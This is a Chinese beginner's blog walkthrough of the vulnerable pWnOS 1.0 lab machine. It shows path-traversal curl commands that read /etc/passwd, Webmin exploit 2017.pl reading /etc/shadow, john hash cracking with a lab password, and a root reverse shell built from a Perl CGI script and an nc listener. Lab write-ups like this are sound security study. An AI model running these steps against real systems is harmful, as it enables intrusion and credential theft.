前言
萌新第一次写blog,各位大佬别喷。有错误和补充的地方希望各位大佬各位师傅指出
本文的打靶过程涉及到关于文件包含漏洞、webmin任意文件泄露、john密码破解、perl反弹shell等。好多思路都从大佬们学到不少东西
本博客内容借鉴Bossfrank和红队笔记大佬
链接:
「红队笔记」靶机精讲:pWnOS1.0 - 在Perl CGI架构下构造反弹shell,你可以吗?
Bossfrank大佬的链接:红队打靶:pWnOS1.0打靶思路详解之webmin漏洞利用
靶机的下载地址:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
第一步:信息收集
nmap扫描
nmap -sn 10.10.10.0/24 扫描该网段的主机IP
nmap --min-rate 10000 -p- 10.10.10.129 最小的发包速率 -p- 扫描所有端口
nmap -sT -sV -O -p22,80,139,445,10000 -p- 10.10.10.129 使用tcp扫描 探测服务/版本信息
nmap -sU --min-rate 10000 -p- 10.10.10.129 使用UDP扫描 扫描所有端口
nmap --script=vuln -p22,80,139,445,10000 10.10.10.129 对IP地址为10.10.10.129的主机的22,80,139,445 10000端口执行扫描。'--script=vuln'表示使用vuln脚本进行漏洞扫描。
目标靶机ip 10.10.10.129
tcp扫描到端口22,80,139,445,10000
端口开放的服务版本和操作系统
udp扫描结果(正常用不上udp保险起见还是扫一下),开发137,10000端口
扫描出80的一些端口和10000端口的Webmin File Disclosure文件泄露漏洞
第二步:web渗透
80端口
可以看出是一个填写表单的东东
挨个点击访问发现似乎只是拼接,大概就是在后端字符串拼接了一下。并没有有用的信息。同时观察到url的有很多参数,尝试文件包含和和sql注入。在参数中添加’参看有没有变化。
然后name试试sql注入语句’ or 1=1 #(图没截呜呜直接用大佬图了)
木有啥变化,回显变成/,单引号做了转移没啥变化了
然后再尝试文件包含我们将参数的值添加…/…/…/…/…/etc/passwd尝试读取passwd文件,很遗憾也没能成功
最后回到填写表单的url中,将url中的concat的参数值添加…/…/…/…/…/etc/passwd,尝试读取passwd文件成功了
可以读取到passwd文件,再尝试shadow,很遗憾的无法读取
并尝试读取/etc/shadow
发现无法访问
使用curl尝试访问(俺也不知道当时做的时候为啥要用curl可能做的时候怕遗忘啥东西)
curl ‘http://10.10.10.129/index1.php?help=true&connect=…/…/…/…/…/…/…/…/etc/passwd’
curl ‘http://10.10.10.129/index1.php?help=true&connect=…/…/…/…/…/…/…/…/etc/shadow’
目前80端口得到的信息只有目标靶机的四个用户名以及一些用户权限和shell
往下做去康康nmap脚本扫描出的三个目录
在/php目录中发现一个后台目录
尝试sql,弱口令,最后点击取消。
最后跳转到了一个登录失败的页面,暴露了phpMyAdmin的版本2.6.3-pl1,先记下指不定后面用的上
80端口的信息收集到此为止
现在去看看10000都有啥信息
10000端口
访问发现是个后台登陆
尝试弱口令、sql注入,都无法登录,提示登录失败。
回顾在上面nmap扫面结果中有webmin漏洞
第三步:webmin文件泄露的利用
searchsploit 搜索webmin相关的漏洞
searchsploit webmin
又到了经典环节咋选
此处借用Bossfrank和红队笔记大佬两大佬选择漏洞思路的思路
————————————————
转载:这部分为CSDN博主「Bossfrank」的原创文章的内容,
原文链接:https://blog.csdn.net/Bossfrank/article/details/131478886
结果搜出了很多,看似眼花缭乱不知所选,其实是有思路的。首先我们要选择的是webmin的漏洞,排除前三条。另外我们尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑。结合之前nmap漏洞脚本扫描的结果,我们应该侧重选择文件泄
露相关的漏洞Arbitary File Disclosure,1997和2017应该都可以,这俩只是编程语言的不一样。我们就选择perl编写的2017.pl吧,吧2017.pl下载下来。
————————————————
这块是自己写的一点小注释
####这么一堆给出的漏洞利用很多没啥用,英文不好的给了注释对着看就知道为啥没有用了####
####正常情况下暴力破解的方式优先级别都比较低####
####工具给出的结果看不懂要善用人工智能工具 列:文心一言、gpt等 ####
Brute Force / Command Execution : 扫描是一种暴力破解方法,用于尝试猜测密码或密钥 优先级低
Directory Traversal(目录遍历)
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing:这个漏洞允许攻击者伪造用户会话的ID,从而以其他用户的身份进行未授权访问。
Webmin 0.x - 'RPC' Privilege Escalation:Webmin 0.x 中的 'RPC' Privilege Escalation 是一个安全漏洞,允许攻击者提升其在系统上的权限。
Code Input Validation (代码输入验证)
Web Brute Force(Web暴力破解)
Multiple Vulnerabilities( 表示多个漏洞)
Remote Code Execution(远程代码执行)
HTML Email Command Execution(允许攻击者在HTML电子邮件中执行恶意代码)
一顿排除后,目光放到了2017.pl
下载下来
searchsploit -m 2017.pl
searchsploit webmin -m 2017.pl下载文件
查看如何使用 2017.pl ##.pl是Perl源代码文件的默认扩展名##
perl 2017.pl --help
利用格式:Usage: 2017.pl
目标靶机为http协议 所以target为0
选择的target应该是http,即参数0, 根据Example,我们可以尝试读取/etc/passwd文件试试:
perl 2017.pl 10.10.10.130 10000 /etc/passwd 0
读取成功
再读取/shadow文件
perl 2017.pl 10.10.10.130 10000 /etc/shadow 0
john破解密码
复制这四个用户以及root用户复制到一个文件中,并命名为hash
使用john进行密码破解。
在vulhub靶机中涉及到密码破解的地方,作者为节约时间通常都使用rockyou字典。实战中密码破解时间与目标密码强度和字典强度有关
john hash --wordlist=/usr/share/wordlists/rockyou.txt
扫描结果出来了
账户vmware 密码h4ckm3
然后就是ssh登录了(g这步又没截图借用大佬的图了)
ssh vmware@10.10.10.130
ssh登录的时候报错提示说没有匹配的host key
这个问题参考bossfrank大佬的这篇博客
红队打靶:LampSecurity:CTF4打靶思路详解(vulnhub)_lampsecurityctf4-CSDN博客
第四步:登录ssh,获取初始立足点
此时获得了初始立足点,接下来就是研究如何提权
sudo -l查看具有当前用户具有哪些权限
sudo -l
发现需要密码,跳过,查看计划任务有无可以利用的地方
发现没有利用的计划
查看目录和文件,没有找到敏感信息和可用的信息
第五步:提权
俺寻思这步是该内核提权来着,然后看到红队笔记提权的思路真牛逼
利用webmin的文件泄露漏洞,读取到shadow文件,而shadow文件需要root的权限才能读取,因此可以
相当于这个webmin的任意文件漏洞可以导致攻击者以root权限读取文件。那么可以上传一个反弹shell的脚本,然后利用这个文件泄露漏洞,就能以root权限运行shell
开始实践
首先构建反弹shell,由于webmin是由perl构建,所以使用kali中自带的perl的反弹shell脚本,路径在/usr/share/webshell/perl/perl-reverse-shell.pl,复制下来,重新命名为shell.cgi。改后缀看bossfrank大佬的意思是如果不修改后缀,2017.pl的exp只能以root权限读取shell.pl,而无法执行,也就是无法执行反弹shell
cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
复制并修改里面的内容
ip 改成攻击机ip 端口设置为4444
修改后,用php打开攻击机的http 80端口 用别的打开也可以。
主要目的是让目标靶机能够下载到shell脚本
同时在靶机shell中给一个可以执行的权限(不然可能执行不了反弹shell)
chmod +x shell.cgi
在kali攻击机中用nc打开端口监听
nc -lvnp 4444
记得确认脚本传输的位置
然后在攻击机中利用2017.pl脚本触发shell.cgi执行
执行成功
最后python -c "import pty;pty.spawn(‘/bin/bash’)"执行一下获得一个更完整shell就结束了
总结
感觉吧,其实也不是很难,但没思路真的好难做,中间看了好几次不少大佬的blog。感觉难点就是80端口的重判断是否有文件泄露,和searchsploit判断脚本(每次选择都卡半天),和最后大佬的利用2017.pl脚本反弹shell(这一步是真的没想到可以这么做长见识了2333)。 还得多做靶场多扩展思路。